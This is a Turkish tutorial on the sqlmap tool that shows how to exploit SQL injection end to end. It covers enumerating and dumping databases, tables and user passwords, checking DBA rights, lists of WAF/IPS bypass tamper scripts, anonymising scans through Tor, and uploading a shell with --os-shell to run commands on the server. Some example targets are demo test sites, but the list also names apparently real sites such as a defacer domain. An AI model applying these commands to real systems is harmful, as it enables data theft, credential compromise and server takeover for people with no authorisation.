Sqlmap Kullanımı

Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır.

kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:

SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:

mevcut veri tabanlarının ismini bulduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:

sqlmap -u http://aspnet.testsparker.com/Products.aspx?pId=4 -D testsparker --tables
sqlmap -u http://aspnet.testsparker.com/Products.aspx?pId=4 -D testsparker -T tablo --columns
sqlmap -u http://aspnet.testsparker.com/Products.aspx?pId=4 -D testsparker -T tablo -C kullanici,parola --dump

-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
–tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
–columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
–dump: Kolonlarda yer alan veriler ekrana yansıtılır.

Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba parametresini kullanabilmekteyiz. Dönüt olarak “True” ya da “False” değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz:

Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip siteler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:

http://hedef.com/artist.php?id=2
https://turkishdefacer.org/index.php?action=gallery_view&gallery_id=1
http://localhost/index.php?action=test

Bir İstek Dosyası Yükleme

Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:

GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello

Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):

sqlmap -r "istek.txt"

Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz.

POST İsteği Yapma

Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.

Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:

Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır:

sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"

Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir:

POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;

------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--

Kullanacağımız komut:

sqlmap -r istek.txt -p "loginname" --dbms="MySQL"

Not: Basit parametrelerden biri olan --dbms testlerin daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap, sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış olacaktır.

Forms Parametresi

POST istekleriyle ilintili başka bir parametre ise --forms parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu şekildedir:

sqlmap -u http://192.168.1.37/index.php?action=login --forms

Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.

URL Rewrite’ın Aktif Olma Durumu

Sqlmap, URI path’lerine karşı otomatik olarak herhangi bir test gerçekleştirmemesine rağmen bu path’leri manuel olarak işaretleyerek sqlmap’in test edebilmesini sağlamak mümkündür. Bu yöntem özellikle URL Rewrite özelliğinin aktif olduğu durumlarda yarar sağlamaktadır. Bu işlem için sadece parametrenin aldığı değerin sonuna asterisk (*) karakteri eklenmelidir. Şu şekilde örnek verebiliriz:

sqlmap -u "http://example.com/blog/yazi/1*"

URL Rewrite’sız hali ise şöyle olurdu:

sqlmap -u "http://example.com/blog.php?yazi=1"

Yukarıda da olduğu gibi hangi parametrenin işaretlenmesi gerektiğine manuel olarak karar verebilmenizin yanı sıra sqlmap bunu, sizin onayınızı aldıktan sonra otomatik olarak da yapabilmektedir.

HTTP Authentication

Sqlmap ile Basic, Digest, NTLM ya da PKI kimlik doğrulaması isteyen uygulamalarda da tarama yapmak mümkün. Bunun için kullanılan parametre --auth-type parametresidir. Gerekli oturum bilgileriniyse --auth-cred parametresiyle tanıtıyoruz. Örnek bir kullanım aşağıdaki gibidir:

sqlmap -u http://exapmle.com/main.php?action=writer&id=1 --auth-type="Basic" --auth-cred="user:password"

Credential’larda bir yanlışlık olursa şu hatayı almamız kaçınılmaz olur:

[09:53:40] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401)
[09:53:40] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times

Proxy ve Tor Kullanımı

Proxy kullanımı için sağlanan parametre --proxy parametresidir. Şayet kullanılacak proxy’e ait credential’lar mevcutsa bunu tanıtmak için --proxy-cred parametresi kullanılır. Ayrıca bir dosyadan proxy listesi dahil etmek için --proxy-file parametresine ihtiyaç duyarız. Proxy’nin protokolü (HTTP/S) mutlaka girilmelidir. Örnek kullanım şöyledir:

sqlmap -u "http://example.com/index.php?id=test" --proxy="http://127.0.0.1:80:80 --proxy-cred="user:pass"

Tor Parametresi

Tor proxy’sini kullanmak da oldukça basit. Tor bağlantısı ile tarama yapabilmek için öncelikle bilgisayarınızda Tor Browser ya da Tor Bundle’ın yüklü olması gerekir. Sqlmap’te kullanımı --tor parametresi ile sağlanır. Bağlantının gerçekleşmesi için Tor’un çalıştırılmış olması gerekir. Bununla birlikte --tor-proxy ve --tor-type parametrelerinin de tanıtılması gerekebilir. Örnek kullanım şöyledir:

sqlmap -u "http://aspnet.testsparker.com/Products.aspx?pId=4" --tor --tor-type="SOCKS5" --tor-port=9050

Burada dikkat edilmesi gereken nokta şu ki Tor’un varsayılan port numarası 9050 iken Tor Browser’ın varsayılan port numarası 9150 gelmektedir. Son olarak komutun sonuna ekleyeceğimiz --check-tor parametresi ile Tor bağlantısının durumu öğrenebiliriz. Bağlantı gerçekleştiği takdirde sqlmap çıktısı şöyle olacaktır.

[10:11:31] [INFO] checking Tor connection
[10:11:32] [INFO] Tor is properly being used

Level – Risk Parametreleri

Söz konusu parametreler sqlmap’in hangi testleri yapacağını belirtir. Ön tanımlı olarak --level parametresi 1 olarak gelir ve 1-5 arası değer alabilir. --risk parametresinin varsayılan değeri 1’dir ve 1-3 arası değer alabilir. Örnek case üzerinden gidecek olursak, şu komutu çalıştırdığımızda;

sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs

Çeşitli denemelerin ardından sqlmap’in şu hatayı verdiğini görürüz:

[10:33:23] [WARNING] GET parameter 'id' does not seem to be injectable
[10:33:23] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

Sqlmap, hedefe uygun testi gerçekleştirmemiş ve bu yüzden hedefte SQL Injection’ın var olduğunu doğrulayamamıştır. Şimdi ise komutumuza SQL sorgu denemelerini çeşitlendiren --risk parametresi ve prefix, suffix, payload çeşitlerini belirleyen --level parametresini uygun değerleriyle ekliyoruz:

sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs --risk=3 --level=3

Uzun bir bekleyişin ardından “Boolean-based-blind” ve “AND/OR time based blind” türünde SQL Injection açığının bulunduğunu öğrenmiş olduk. Ayrıca veri tabanı isimlerini bulmak için denemelere başladı:

Sqlmap Tamper Scriptleri

Sqlmap ile sql injection yaparken komutların işe yaramaması sonucunda WAF yani güvenlik duvarını geçilmediğini anlamak lazım bu durumda Sqlmap’in WAF,IPS gibi saldırı önleme sistemlerini bypass etmesi için tamper scriptleri kullanılır.

sqlmap –list-tampers komutu ile tamper listenizi görebilirsiniz

Genel olarak kullanabileceğiniz tamper listesi:

apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes


MSSQL için kullanabileceğiniz tamper listesi:

between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes


MYSQL için kullanabileceğiniz tamper listesi:

between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Sqlmap ile Shell Yükleme

–os-shell parametresi ile shell upload işlemi yapacağız
Sqlmap komutumuzu çalıştırdığımızda bize yukarıdaki gibi hedef sistemin dilini soruyor bu yazılım için php yani 4 diyerek devam ediyoruz.
burda doğru dizini tespit etmemiz gerek yoksa upload olmaz eğer sitede verilen hatada dizini gösteriyorsa 3 diyerek dizini belirtin eğer bilmiyorsanız 1 diyerek brute force mantığı ile deneme yaparak dizini bulmaya çalışıyor
burada dizini bulmus ve bir adet upload dosyası yüklerek bize yol vermiş bunun yanı sırada komut satırı açmıs os-shell> yazan yere iyi bakınız sunucu windows ise windows komutları linux ise linux komutları girerek işlem yapa bilirsiniz